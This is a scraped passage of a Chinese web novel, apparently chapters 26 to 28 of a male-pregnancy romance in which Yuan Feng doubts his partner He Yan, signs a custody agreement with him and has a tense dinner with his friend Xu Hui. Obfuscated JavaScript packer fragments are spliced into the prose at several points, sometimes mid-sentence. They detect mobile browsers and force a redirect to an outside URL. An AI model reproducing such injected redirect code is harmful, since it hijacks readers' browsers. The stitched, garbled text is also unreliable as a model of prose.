RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658630|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稀里糊涂地给人生孩子!” “也是我的孩子啊,而且跟我姓,他同意的。”元丰试图反驳道。 “忒他妈傻了。”许辉叹了口气,“你这还没生呢可不得哄着你吗?生下来直接抱走上户口,你躺在医院里你知道个屁!被卖了还帮人家数钱。” “真的不是,他跟他爸妈都对我特别好,不可能干这种事儿。”元丰解释道。 “我知道我说这些话你不爱听,估计现在说啥你都听不进去。” “没啊,我这不是一直在听吗?” 真是当局者迷,许辉决定最后再说几句,元丰听不进去那也没辙了。 “你怀孕前见过他爸妈没?” “没有……” “突然出现,又对你特别好,因为啥?你好好想想,没这个孩子你能见着他爸妈?所以这事儿未必靠谱,长点心吧。” “……” “你说你要是个女的,还能提结婚看看他们家态度。俩男的又没法领证,口头承诺算不得数。除了孩子跟你姓,他有没有说别的?” “……”元丰心里有点慌了,贺总当然说过别的,可他不能说。 如果再告诉许辉,他怕自己会受到影响。 “他要是提过给你钱啊房子啥的,那没跑了,跟你换孩子呢。” 元丰听不下去了:“不是这样的,你别说了。” “不说了不说了。”许辉见元丰脸色越来越难看,只好住嘴。 “他真不是这样的人,我们每天,”元丰停顿了下,“每天都挺好的……” “好好好,我把人往坏处想了。”许辉无奈,“我也是希望你好。” “我明白的。”元丰看着给过自己帮助的好兄弟,认真说道,“谢谢你啊,辉哥。” 虽然是同村老乡,但许辉在童年时跟比自己小两岁的元丰没有太多交集,两家一个住东边一个住西边。 村里的小孩儿们聚一起时,他俩玩过几回。 自从发生河边那事儿,他再也没见元丰出来玩过。偶尔撞见了,小小的个子总是在不停地干活儿,不是扛扁担挑水葫芦,就是帮家里运蔬菜,带着俩小妹妹。 村里那些闲言碎语他都知道,不过那会儿年纪小不会安慰人,又有自己的小圈子,渐渐地就把这人给忘了。 再次产生交集是六年前,许辉在网吧打游戏处了个女朋友,俩人如胶似漆,难舍难分。他当时恋爱脑上头,决定奔现轰轰烈烈爱一场,谁知道见光死了。 也就是在那个小城的客运站,许辉碰上了元丰。 那时候的元丰特别瘦弱,背着一个破旧的黑色书包,背带上用红色塑料绳绑着一口铁锅,身上零零碎碎挂了不少家当,脚边还有个鼓鼓囊囊的蛇皮袋,连棉被都要背着走,恐怕是第一次出来闯荡。 许辉进社会早,还算有经验,见未成年的男孩儿瞧着有些可怜,主动上前攀谈起来,对方却谨慎地避开他。 他继续凑上去,笑着提醒:“小兄弟,这棉被啊锅啊啥都不值钱,到了新地方再买就行。别舍不得扔,累的是你自己。” 男孩儿没理他,他自顾自地继续说道:“我第一年出来也跟你似的,傻不啦唧地背一堆东西,在火车上还他妈让人给偷了!你身上要有值钱的东西,自己看紧点儿,一个人在外打拼不容易。” 男孩儿依旧没搭理他,静静地坐在蛇皮袋上。得亏十八岁的许辉爱臭美爱表现,仗着自己刚成年,充当起大哥的角色。 一来二去,男孩儿终于开口说话了,第一句话就是“你咋这么烦人”。 许辉是把元丰当弟弟看待的,一晃六年过去了。这小子摸爬滚打这么多年,看似精明,性子还是有些单纯,心肠又软。 是他把元丰带到这座城市的,如果真的让人给忽悠了…… “小丰,这孩子还小,咱得聪明一些。” “啊?”元丰没懂。 “我媳妇儿前阵子还问我有没有结婚的想法。”许辉说,“我快二十五了,该定下来了。可人生大事儿,我也不想草率做决定。连我这种一穷二白的吊丝都得考虑结婚的事儿,大老板会不考虑清楚吗?” “所以啊,自己长点心,真给你房子和钱,记得都收下来。万一他要跟人结婚,你也有个保障不是?” “他不会结婚的。”元丰低声回道。 “不结婚就是真心对你吗?你俩这关系根本不靠谱。”许辉说累了,“唉,你自己想吧。” 元丰沉默了,不知道该说什么。 回去的路上,元丰心不在焉。 打从偷亲那晚开始,他跟贺总的关系好像突飞猛进,睡前接吻已成习惯,x生活也没断过,对他生活上更是照顾有加,会哄他吃饭,陪他看电视,帮他洗澡搓背,给他买新衣服。 明明一切都在朝着期待的方向发展,如果只是因为元宝,那为啥还要对自己这么好…… 他越想越烦,总觉得缺了点什么。 陈硕察觉到元丰的不对劲,关心道:“有什么心事吗?” “没事儿。”元丰靠在座椅上,不再吭声。 元丰不想说,陈硕自然不会问。 几分钟后,陈硕听到对方突然开口:“陈助理,你说我跟贺总能长久不?” 重复的问题,第一次可以提醒不要过界,这次他却不知道该怎么回答,怕影响到孕夫的情绪。 “我就随便问问。”元丰笑着掩饰尴尬,“以后的事儿还真不好说。” “没事。”陈硕好心提醒,“你现在最重要的是养好身体,安心待产。” “你说得对,谢谢啊。” “不客气。” 两分钟后。 “陈助理,你做了贺总五年的助理。”元丰又问,“能不能告诉我他以前啥样啊?要是不方便……就算了。” 陈硕被难住了,思考了一个红灯的时间,说起自己的看法:“贺总最近变了很多,他在试着了解孕期,学着怎样做一位父亲。我觉得他很有担当,是个值得依靠的男人。” 要在今天之前,元丰听到这些话会特别高兴。但跟许辉聊了一通后,他不自觉地往坏处想了。 了解孕期是为了忽悠起来更方便,学着做父亲说明已经在做抢孩子的打算。 可这样也不对啊,浪费那么多时间图啥?怎么就不能是因为喜欢自己才去了解的呢?学着做父亲说明元宝他爹是个靠谱的好男人。 陈硕以为这么说元丰会高兴,哪知对方更沉默了。看来自己还是不太会聊天,不应该说话。 元丰找借口说自己有点累,一进屋就回卧室休息了,躺在床上反复想着许辉说过的那些话。 其实他心里明白,许辉说的有道理,两个男人确实领不了证,没有正常的婚姻和保障。可就算有证,感情没了,该离照样得离啊。 只要自己跟贺总感情一直这么好下去,领不了也没事儿。 他不想再胡思乱想,大脑却不听使唤。想完结婚证又想协议,开始纳闷贺总为啥不提了,难道真的等着给元宝改姓吗? 他也不想要钱要房子,就想跟现在这样,每天有滋有味儿,生活有奔头。 唉,为啥好话都不中听呢。 到头来,他还是受影响了。 元丰做梦了,梦见自己生了个男孩儿,贺总没有要求改姓的意思,反而笑着跟他说,取什么名字都行,只要他喜欢。 他松了口气,原本还担心如果是男孩儿被抢过去继承香火怎么办。贺总对他这么好,心里不可能没有他。 27. 第 27 章 都说后半夜的梦是真实的,不久前做的白日梦,应该也算真的吧…… “小丰,是不是胃口又不好了?”闵兰瑛关心道。 元丰回过神,赶紧喝了口汤,挤出一个笑:“好着呢!阿姨,这汤真好喝。” “好喝就多喝点,也别光喝汤。”闵兰瑛用公筷给他夹了块排骨,“多吃些菜,长长肉。” “谢谢阿姨。”看着碗里带脆骨的肉,元丰心里内疚起来。 不该胡思乱想的,就算是因为元宝才出现,阿姨也确确实实在照顾他,关心他。他夹起那块排骨塞进嘴里,入口软嫩不油腻,特别香。 “今天清净了,就咱俩。”闵兰瑛笑着说,“小丰啊,阿姨得好好谢谢你,你这孩子真不错。” 元丰被夸得不好意思:“是我该说一声谢谢……” “你说的还少呀?”闵兰瑛笑了两声,说起正事儿,“下个月阿姨过生日,已经跟小颜他爸说好这回不大办了,就两家亲戚和一些朋友,所以想先问问你意思,愿不愿意过来?” 元丰听到这话,惊讶地抬起头:“我……我能去吗?” “能啊,你叔叔还担心你怕生。”闵兰瑛说道,“这些年,我就操心小颜的事儿,这孩子老不愿意定下来。看到你俩处得这么好,我跟他爸也放心了。” 贺总母亲这番话如同一颗定心丸,让元丰一扫低落的情绪,心里头暖暖的,原来这就是被认可的感觉啊。 他有些激动,语无伦次道:“愿意啊,祝阿姨生日快乐!不是,我提前祝您生日快乐。不怕生,能去!” “不怕生就好。”闵兰瑛笑眯眯的。 “我特喜欢热闹!”元丰心里还是有点紧张的,不过亲戚加朋友估计没几桌。 他问道:“阿姨,有多少人啊?” “不多。”闵兰瑛大概算了算,“也就二三十桌。” “……”元丰接不上话了,紧张程度直线飙升,不大办就这么多人,真大办得多少桌啊。 他开始纠结要不要去,不去的话叔叔阿姨会不会不高兴。可仔细一想,将来总要面对的,还是去吧,反正那些人也不认识自己。 “好在是冬天,穿衣服瞧不出来。”闵兰瑛继续道,“等生完孩子,你俩呀,该办的事儿都得办一下。” “……” “还有你爸妈那儿,也得见一见。” 元丰张了张嘴,不知道该怎么表达了。 他感觉自己就像一艘找不着岸边的船,漂泊了十一年,终于靠岸了。 “谢谢阿姨!” “一家人说什么客气话。” 虽然人数很多,但元丰还是高兴得午觉都没睡,一直在网上搜索送什么比较合适。 阿姨过六十岁生日,礼物马虎不得。打出“丈母娘”三个字时,他偷偷乐了一会儿,继续按着虚拟键盘。 “丈母娘六十岁生日,应该送点什么比较好?” 答案有不少,什么手镯、保健品、大寿桃、按摩椅、丝巾披肩之类的,还有直接打广告让送扫地机器人的,说能送到老人家心坎里去,给长辈减轻负担。 感觉哪个都不太好,直到迷迷糊糊睡过去,他也没想出合适的礼物。 贺颜从助理那儿得知元丰见完朋友之后,情绪有点不对劲。这阵子他忙得连轴转也没工夫去细想,以为对方缺少陪伴又开始闹脾气了。 今天结束得还算早,他放弃自己的休息时间准备回去好好哄一哄,刚进家门便被母亲叫住了。 “我跟你爸商量过了,不大办。”闵兰瑛说,“就亲戚朋友一块儿聚聚得了。” 贺颜尊重母亲的想法,怎么都行。他点点头,“按您的喜好来,时间我已经空出来了。” “现在跟小丰处得怎么样?”闵兰瑛试探着儿子的态度。 贺颜在沙发上坐下来,“挺好。” “之前让你定下来你还不听,现在多好啊。”儿子态度的转变让闵兰瑛欣慰不少,俩孩子趁着这次生日定下来也是一桩喜事儿。 她笑道:“到时候带上小丰。” 贺颜一听便猜出母亲的想法,没有立刻接话。带元丰出席意味着尘埃落定,人生即将进入下一个阶段。 他知道自己心态所发生的改变,最近也尝试着去接受有另一半的人生。 这些年,身边的情人来来去去,各取所需,但凡有感情苗头的,哪凉快哪待着去。 他不需要这种类似枷锁,而又虚头巴脑的东西,却没想到会在这个年纪碰上元丰,还猝不及防地当了爹。 是否抗拒与排斥,能不能完全接受,答案不言而喻。 贺颜心里也明白,他从未如此包容过谁,甚至让对方一点一滴地浸入自己的生活。眼看着那肚子一天比一天大,再过几个月,将会诞生一个与他有血缘关系的小生命,会叫他爸爸。 他想起元丰那晚说过的话,生活就是生活,就像现在这样。 “听到没?”闵兰瑛重复道,“带上小丰,别让他一人在家待着。” 贺颜琢磨了片刻,回道:“不能带他。” “不能带?”闵兰瑛语气急了,“刚还说得好好的,你这孩子怎么回事儿?” 元丰站在卧室门口,右手死死攥着门把,心里憋得慌。 他又控制不住地开始胡思乱想了,想贺总为啥反复无常没个准话,又为啥不愿意带他,是嫌弃他见不得人还是根本没把他当回事儿。 难道真让许辉说中了,只是因为想要孩子…… 贺颜考虑到元丰好面子,在意旁人眼光,可能不喜欢这种场合。而且日子也不凑巧,赶上做羊水穿刺了。 他解释说:“前一天要做羊水穿刺,做完得歇几天。” 闵兰瑛这才想起来:“怎么把这个事儿给忘了,不行往后挪两天,我给你舅舅打电话。” “别挪了,酒店里的菜也不适合孕夫吃。”贺颜说完,补充道,“我过去露个面就回来陪他。” “哎哟,我中午都跟小丰说好了,他想去。”闵兰瑛有些为难。 贺颜以为自己听岔了:“他想去?” “是啊,你说这事儿闹的……” “我去看看他。” 贺颜朝主卧的方向走去,发现门是开的。里面的人正垂着脑袋坐在床尾处,双手用力揪着睡裤,那副模样跟个受气包似的。 他站在门口看了片刻,心里琢磨着自己能跟这小子走多少年。 元丰又做梦了,没睡踏实,梦见贺总真的不把他当回事儿,结果醒来就听到不该听的。 短短几分钟里,他想了很多很多,连最坏的结果都想了。他在心里不停地安慰自己,有啥可难过的,不就是没把你当回事儿吗?大不了回到之前的生活,重新找个房子自己一人过,再说以后还有元宝陪着呢。 生死面前无大事,都他妈算个屁! “你算个屁……” 贺颜关上门走到元丰旁边坐下,扯开那双揪着睡裤的手:“瞎嘀咕什么?” 就算是个屁,元丰心里也不痛快,难受得一抽一抽的。 他没有挣开男人热乎的大手,忍不住低声质问道:“你是不是压根没把我当回事儿?” 贺颜从没对谁上过心,元丰还是头一个,忒不识好歹了。 他反问:“还要怎么当回事儿?把你当佛祖供着?” “……”元丰听完更难受了,他抽回手,逼自己冷静下来,主动提起协议的事儿,“之前说好签协议的,你为啥不提了?” “提什么,想生二胎?” 元丰嗓门拔高:“我才不给你生孩子!” “协议作废。”贺颜揽住正在闹脾气的孕夫,空闲的手钻进他睡衣下摆,隔着肚兜摸上又大了一些的肚子,哄道,“我也没打算让你生,就要这一个。” “元宝只能跟我姓。”元丰心里堵着一口气,闷声说道,“你作废是你的事儿,我那份还得签。” 来了,又开始缺乏安全感。贺颜已经哄出经验,这个时候只要无条件依着元丰就行。 他说:“你生的你做主,想签就签。” “你现在就跟我签。”元丰说完,补了一句必须按手印。 “签签签,我真是欠了你的。” “……” 元丰糊涂了,贺总愿意签说明不是为了孩子,那到底为啥不把自己当回事儿啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658631|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好了,出去吃饭。”贺颜抽出手,替元丰理了理睡衣。 “我听见了……” 这回轮到敏感多疑了,问题一个接一个,贺颜只能挨个去解决。 他问元丰:“全听见了?” “对,你为啥不带我?检查往后挪两天不行吗?”元丰憋不住问了出来,越说越难受,“还找借口,酒店里的东西我能吃啊。你爸妈都同意我去了,你凭啥不让我去?” “行,往后挪。”贺颜觉得自己就多余操这份心。 听到这个回答,元丰一点都高兴不起来。他垂着脑袋愣了一会儿才说:“我搞不懂你这人,忒他妈烦了,闹心……” 孕夫情绪是关键,贺颜把人揽进怀里,决定多说两句。 “你去代表什么,自己清楚吗?当着二百多号人的面,告诉他们,你是同性恋。” “……” “愿意去就去,我不拦着。” 元丰下午就想明白了,他吸了吸鼻子:“我就要去。” “现在倒不怕遭人歧视了,有进步。”贺颜拉着元丰站起来,“还有别的问题吗?没有跟我去吃饭。” “有啊。”元丰把话题绕了回去,抬头问道,“你到底有没有把我当回事儿?” “不当回事儿,我在哄鬼呢?”贺颜盯着元丰那委屈巴巴的眼神,笑道,“眼睛有些红,确实像个鬼。” “……” “还有吗?” 元丰还惦记着许辉,赶紧问道:“你为啥不跟我兄弟一块儿吃顿饭?他是我最好的兄弟。” 除了自己的消遣,贺颜不喜欢把时间浪费在无用的社交上面,尤其对方跟自己还不是一个圈子的。 不过现在关系变了,毕竟是元丰的朋友,不见一面确实不合适。 于是想了想自己的行程安排,说:“下周六能挤出时间,让你兄弟安排吧。” 元丰今天的心情就跟坐大摆锤似的,起起伏伏要人命。 他伸手抹了抹眼睛:“我一会儿就给他打电话,你别再忽悠人啊。” “吃完饭再打。” “等等,咱们先把协议签了。” “明天再签,我让陈硕去准备好材料和印泥。” “我有!我去拿。” “……” 贺颜见元丰从角落的收纳箱里翻出一个公文包,又从公文包里抽出一张A4纸和水笔,最后掏出了红色的印泥。 真够可以的。 “不是我不相信你啊。”元丰认真地解释道,“实在是你这人信用度太低,老变卦忽悠人。” “……” 论信用度低,元丰第二,贺颜不敢称第一。 不过他懒得掰扯:“纸和笔给我。” “哦哦。”元丰高兴地递了过去。 贺颜手握黑色水笔,当着元丰的面,在A4纸的正上方写下了“子女抚养协议书”。 写完后,他问:“要写什么?” 元丰想了一会儿,说道:“你就写元丰生的孩子必须归他本人所有。孩子不得跟男方姓……啊,不对,我也是男的。写不得跟贺颜姓,抚养权归元丰所有。” 贺颜快速写完元丰说的话,在后面加上了自己那部分,关于抚养元宝所要承担的全部责任以及费用。 写完名字年月日,他将笔递给元丰:“行了,签字。” 元丰拿起A4纸来回看了两遍,夸道:“你这字儿比那个潦草的签名写得好看多了,后面这些,我先替元宝谢谢你啊。” “上辈子欠下的债,应该的。” “……” 元丰打开红色印泥盖,将大拇指按了下去,他拍了拍男人的胳膊:“你先把大拇指竖起来。” 贺颜刚竖起大拇指,元丰的大拇指立刻贴了上来:“嘿,亲个嘴儿。” “你又好了,是吗?”他盯着元丰右边那颗露出来的小尖牙,问道。 “你别气我,我天天好着呢。”元丰咧着嘴,打算再说两句,突然被亲了。 他兴奋地一把抱住男人,探出舌头吻了回去。 对元丰来说,这份协议书更像是一份承诺书,上面有孩子他爹给的承诺。 28. 第 28 章 那天早上聊完以后,许辉挺担心元丰的。 但感情这种事儿,得当事人自己想明白才管用。哪知当天晚上就接到了元丰的电话,说大老板有时间了,地点他来定。 许辉对这个快三十二岁的大老板实在没什么好感,估计元丰回去闹过,对方被缠得烦了才同意见面的。 他没接触过这个级别的有钱人,反复琢磨了好几天,到底要怎么替元丰把关。 就在订饭店时,许辉突然想到了法子。有钱人什么好吃的好玩的没享受过?只怕还瞧不上自己特地花时间挑的饭店。 元丰过去经历的那些,大老板未必经历过,是时候体验下“人间疾苦”了。 许辉连饭店都不订了,直接在修车行附近随便找了一家环境不怎么样的小馆子。 夜幕降临,贺颜跟着导航,将车开进了一条坑坑洼洼的小路。 他皱眉道:“还有两百米,确定是这儿?” “是这儿没错啊。”元丰纳闷道,“怪了,我给他打个电话问问。” “嗯。” 元丰拨通许辉的电话,那头很快就接了。他问道:“饭店叫啥名字啊?我们快到了。” “叫万家兴,我就在店门口的椅子上坐着呢。”许辉提醒道,“对了,这边没法停车。你们停路口,走过来也就二三十步。” “行,导航正好快结束了。我下车找一找,找不到再给你打电话。” “好嘞。” 元丰挂完电话:“他说叫万家兴,咱下车找找去。” 贺颜一看这周边环境,心里有数了。他先下了车,绕到副驾打开车门:“把围巾戴上。” 车里暖气打得很足,元丰摇头:“我热得脸都红了,不戴行不行啊?” “这儿是风口,听话。” “那行吧。”元丰老实地裹上围巾,一下车就主动牵上男人的手。 他嘿嘿一笑:“真热乎。” “不怕被人看见?”贺颜调侃道。 “黑灯瞎火的,谁看得见啊。”元丰无所谓地说道,“再说看见就看见,关他们屁事儿。” 贺颜握紧元丰的小手,随口问道:“手怎么糙成这样?” “勤劳的双手,可不就得糙点吗?”元丰乐和道,“我从小就干农活儿啊,然后……然后干得比较杂,它就糙了。” “嗯,以后不用干了。” “等生完元宝,还是得干啊。” “干什么?” “干老本行啊,跑业务去。” 俩人说着聊着,同时看到了前方那家小馆子。 元丰惊了,许辉怎么会约在这儿,万一把孩子他爹吓跑了怎么办? 果然,这破地方能有什么像样的饭店,贺颜丝毫不意外。小馆子门口有个穿着黑色羽绒服的男人一直在盯着他,出于礼貌,他冲那人点了点头。 许辉眼中闪过惊讶,元丰对象跟他想象中的完全不一样。那男人高大挺拔,相貌出众,整个人的气质与周边环境格格不入。 这样的人,对元丰能真心吗? 大风大浪是见过不少,但这种环境卫生堪忧的小馆子,贺颜还真没来过。红色的门头上印着“万家兴小饭馆”,店门口摆的桌椅又破又旧,灯箱上那几道菜没一样是元丰能吃的,重油重辣倒胃口。在这种地方请客,他也是服气。 “这就是你最好的兄弟?” “是啊,你先在这儿等我。”元丰反应过来了,许辉可能对贺总有很大意见,不赶紧说清楚这饭没法吃了。 他想过去单独说两句,手却被牵得紧紧的。 “等什么?一块儿过去。”贺颜说。 “不行啊。”元丰有点急,“这馆子里油大味儿冲,会弄脏你西服。我去跟他说说,换个地方。” “不缺这一套。” “……” 元丰前两天接到陈硕电话,定制的秋款西服需要试穿,但他现在肚子大了,剩下三套只能取消,等明年重新量尺寸。 他一想自己的都这么贵,贺总穿的只怕更贵。 “那你在门口站着,别进去啊。” 贺颜就没打算进去,淡淡应了一声。 至少冲自己打招呼了,还算客气,不过知人知面不知心。许辉盯着前方走来的一高一矮,伸手挥了挥,“小丰!” 越靠近,元丰越拼命冲许辉使眼色。 等走到跟前,他不好意思地笑了笑:“辉哥,这是我……我对象!叫贺颜。” “你好你好。”许辉看向西装笔挺的高大男人,主动伸出手,“我叫许辉,是小丰的同村老乡,也是他哥。” “你好。”贺颜伸手握了一下,很快松开。 他随意扫了眼饭馆内的情况,正好瞧见一中年男人在擤鼻涕,擤完还用纸巾包着手指伸进鼻孔里捣了捣。这环境真不是一般的糟糕,他能保持好脸色已是极限,刚准备开口。 “小丰啊,我给你带了好东西。”许辉拉开羽绒服拉链,变戏法似的从里面掏出一个保温饭盒,“我媳妇儿包的饺子,猪肉白菜馅儿。馆子里的菜忒重口,我跟你对象吃就行了,你不能吃。” 贺颜:“……” “啊,饺子。”元丰接过那个饭盒,“我都好久没吃了。” “冬天就该吃点热乎的饺子。”许辉说完,跟贺颜介绍起来,“别看这馆子环境不怎么样,菜做得那叫一个地道。我以前跟小丰常来这儿吃,他每回都能干两大碗饭。” “……”兄弟睁眼说瞎话,元丰又急了,一边使眼色一边说,“这里面人忒多了,咱换个地方。” “没事儿,里头有小包间,我已经订好了。”许辉说,“菜也点了,走吧。” 元丰:“……” 贺颜很确定,这男人是成心的。自己要是不给这个面子,他不定怎么给元丰洗脑,回头元丰再闹起来还得哄。 他松开牵着的手,揽住元丰:“进去吧。” “不行!”元丰拿开肩膀上的手,上前拽住许辉去了边上。 他低声问道:“你这是干啥啊?也不找个好点的饭馆。” “我他妈还不是为了你。”许辉小声回道,“他要真拿你当回事儿,肯定会进去。你可别心疼,我今天就是要看看他的态度。” “他刚才说了进去啊,态度你也看见了。” “那还不够,菜我都点好了。你别瞎掺和,我替你好好把把关。” “……”元丰无语了,想说真的用不着把关,估计许辉也听不进去。 自从那天说开之后,他感觉贺颜对自己越来越好了。前天晚上他随口试探了下,贺颜真把时间延长了,给他激动得昨晚又得寸进尺,爽了个痛快。 贺颜盯着窃窃私语的俩人看了一会儿,偏头看向这家小饭馆。 嘈杂声从里面传出,满是油污的木质门框和垒在一旁的红色塑料凳都透着廉价的气息,他微微皱起眉头。 发黑的墙面有墙皮脱落,桌布上除了油污,还有烟头烫坏的黑洞,餐桌上的手动转盘瞧着也像是没擦干净的样子。 贺颜坐在狭小的包间里,身上的大衣无处可挂只能穿着,他压下心中不适,面上仍然保持平静。 “你俩一个开车一个那啥,也不能喝酒,我自己喝点儿吧。”许辉拿起水壶,先给贺颜倒了一杯大麦茶,“我就管你叫贺总吧,来。” 贺颜盯着倒满茶水的玻璃杯,客气地说了声谢谢。 “别客气,小丰对象就是我兄弟!”许辉故意说,“能跟贺总交朋友,是我的荣幸。” “菜点好了没啊?”元丰及时岔开话题,“你去催一催,顺便带几双一次性筷子进来。” “我去看看,你饿了先吃饺子。”许辉说完,离开了包间。 人一走,元丰立刻打开保温饭盒,道起歉:“对不起啊,我真不知道……你说你为啥还进来啊?快趁现在赶紧吃几个饺子,他媳妇儿手艺不错。” “没事儿。”贺颜一笑,“你这兄弟还挺护犊子。” “你别介意啊,他人很好的,小时候还帮过我,我来这儿的第一份工作也是他给介绍的。”元丰说,“当初我准备去上海打工来着,在车站碰上他了。幸亏跟他过来了,要不都没法认识你。” 贺颜盯着元丰的脸,没说话。 他试着想了下,如果没遇上这小子,自己现在的生活会是什么样。 “我脸上有东西吗?为啥老看我。”元丰嘿嘿一乐,“是不是想亲我啊?” “吃你的饺子。” “……”元丰用手拿了一只凑到男人嘴边,“我手不脏,你尝一个。” “不用。” “万一那些菜你吃不惯,饿了咋办?”元丰继续凑过去,“元宝也想让他爹尝尝,快张嘴!” “……”贺颜配合地张了嘴。 “我来了。”许辉推门而入,见元丰靠在他对象身上,饺子正喂到一半。 他来得真他妈不是时候:“突然想起来,筷子忘拿了。” 元丰注意到兄弟手上的一次性筷子,瞬间尴尬得无地自容。他把贺总吃剩下的半个饺子一口吞了,坐了回去。 经过元丰这么一闹,贺颜稍微舒服了些,没那么在意包间的环境了。 他抬手摸了摸那颗脑袋,叮嘱道:“慢点吃。” 元丰听话地点点头。 许辉拿着一瓶牛栏山二锅头和筷子再次走进包间,仿佛什么都没发生过。他把一次性筷子递给对面坐着的俩人,说:“菜一会儿就上了。” “点了几个菜啊?”元丰随口问道。 “五个。”许辉把菜单递给贺颜,“贺总想吃什么随便点啊,今天我请客。” 菜单是一张塑封过的纸,贺颜连个眼神都没给:“五个够了。” 包间里的气氛有点怪异,元丰知道贺总话不多,正琢磨该怎么活跃气氛时,他的好兄弟开口了。 “一晃这么多年过去了。”许辉抿了一口白酒,感慨道,“我们小丰也长大了,要当爹了。我还记得六年前,他一人在车站,身上大包小包,又是蛇皮袋又是大铁锅的,看得我忍不住想上前帮一把。” “……”元丰脸色一变,搞不懂许辉到底是在把关还是在黑他,“你别说了啊,这有啥好提的。” “好好好,不提了。”许辉招呼道,“贺总,吃菜啊。” 菜品比想象中的好一些,贺颜不可能完全不动筷子,面前那碗拍黄瓜瞧着还行,他夹了一块放入口中,味道凑合。 元丰不想让贺总为难,也怕许辉又提以前那些乱七八糟的事儿,主动扯起别的话题,从修车到跑业务,有什么聊什么。 许辉心里恨铁不成钢,还没怎么样呢就开始胳膊肘往外拐,气得他闷了一大口二锅头。 酒过三巡,菜过五味。 气氛比最开始好了不少,但一顿饭的工夫不足以让许辉了解这个叫贺颜的男人,他们阶级差距又大,许辉没把出个好坏来,索性当着元丰的面,借着酒劲儿说道:“贺总,你不了解小丰的过去,根本不知道他这么些年是怎么过来的。” 元丰迅速打断:“你又提这个干啥啊!” “你别插嘴!”许辉盯着面色平静的贺颜,继续说道,“他从小就让人欺负,在河边——” “你他妈别说了行不行啊!”元丰急得站了起来。 “我他妈就要说!我哪儿知道他对你是不是真心的?!你稀里糊涂的,你玩得过他吗?我得让他知道,既然要跟你处,那就不能辜负你!”许辉激动道,“是我把你带过来的,我有这个责任!” “让他说。”贺颜拉住元丰的手,“你坐下来,听话。” 元丰心里很不是滋味儿,他坐下来,闷声道:“是我自己愿意过来的……” “这么多年,我看着他一步步走上正轨,找到稳定的工作,当上经理。”许辉又抿了口白酒,“我一直劝他找个女朋友,他不敢找,怕耽误人家。这突然就找了你,又来了个孩子。” “他十二岁不到就进社会给人当童工,看着挺精明,心肠比谁都软。我希望你不要骗他,你要真愿意给他一个家,我感激你!” 元丰静静地坐在椅子上,低着头没吭声。 “这杯酒,我敬你。”许辉冲贺颜举起酒杯,仰头一口闷了剩下的白酒。 贺颜端起桌上一次都没碰过的玻璃杯,隔空碰了碰:“有机会再喝一杯,今天以茶代酒。” “好,那我就先谢谢贺总了。” “是我该说谢谢。” 许辉去外头抽了根烟,冷风一吹,大脑清醒了不少,这才意识到刚才把话说重了,还是当着本人的面。 对方有礼貌有素质,倒显得自己有些蛮不讲理。贺总说那声谢谢,应该是把元丰放在心上了吧。 他打算回去跟贺颜道个歉,走到包间门口时,握着门把的手又放下了。 -小丰,替我跟贺总说一声对不起,我喝多了一时激动,下回再当面道歉。做灯泡没意思,先回家了,小芳还在等我。 -账结过了,你俩直接回去就行。 元丰看着许辉发来的两条微信,心里是说不出的感动。 他一边回消息一边对贺颜说:“许辉回去了,他刚才有点激动,让我跟你说声对不起,你能不能别怪他啊?” “我是那么小心眼儿的人吗?”贺颜反问。 “因为之前约你你老没时间,他就想多了,怕我被你忽悠。”元丰回完消息,放下了手机。 他靠在椅背上,自顾自地说道:“辉哥一直挺照顾我的,我平时忙工作也没啥时间跟他聚一聚。要没有他,就没有今天的我……” “你不知道我那时候还烦他来着,去上海没直达的火车,得先到客运站坐大巴。我当时在算车票钱,他突然过来跟我说话,一说就没完没了的。” 贺颜静静听着,没有打断。 “后来我受不了了,想走,他说了自己的名字和老家,我这才认出来。小时候他帮过我,要换别人我都不带搭理的。” “是河边那事儿吗?”贺颜问。 元丰嗯了声,像是陷入回忆,愣了好半晌才接着说下去。 “村里孩子多,没事儿就扎堆打闹,下河捞鱼玩水。那河浅,我们都爱过去玩。有个男孩儿特讨厌,趁我不注意,在水里扒了我裤子。” “他们都看见了,有好奇的有笑话我的,还有……” 轻描淡写的几句话,却戳在了贺颜心窝上,现实远比想象的更残酷,尤其是对一个孩子来说。 他想起自己曾经说过的倒胃口,以及元丰经常挂在嘴边的那句“你是不是嫌弃我了”。 隔了十多年,不堪的回忆依旧历历在目。元丰没有继续描述那些令他难受的细节,只简单说了句:“是辉哥冲过来帮了我,替我把裤子抢回来了。” “没想到还能再碰上他,他说上海忒远,问我要不要跟他混,有工作介绍给我,我就跟着他来了。” “我真的特别感谢他。” “过来。”贺颜开口。 “啊?”元丰闻声侧头,西装笔挺的男人用手轻轻拍了拍自己的大腿。 他会意,听话地站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658632|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身,一屁股坐了上去,随后扯出一个笑:“幸好他回去了,不然被看见,多那啥啊。” “笑得真难看。” “……”元丰脸上的笑容顿时僵住。 “跟我这儿,甭逞强。”贺颜把人揽进怀里,说,“回头安排个时间,请你兄弟好好吃顿饭。” 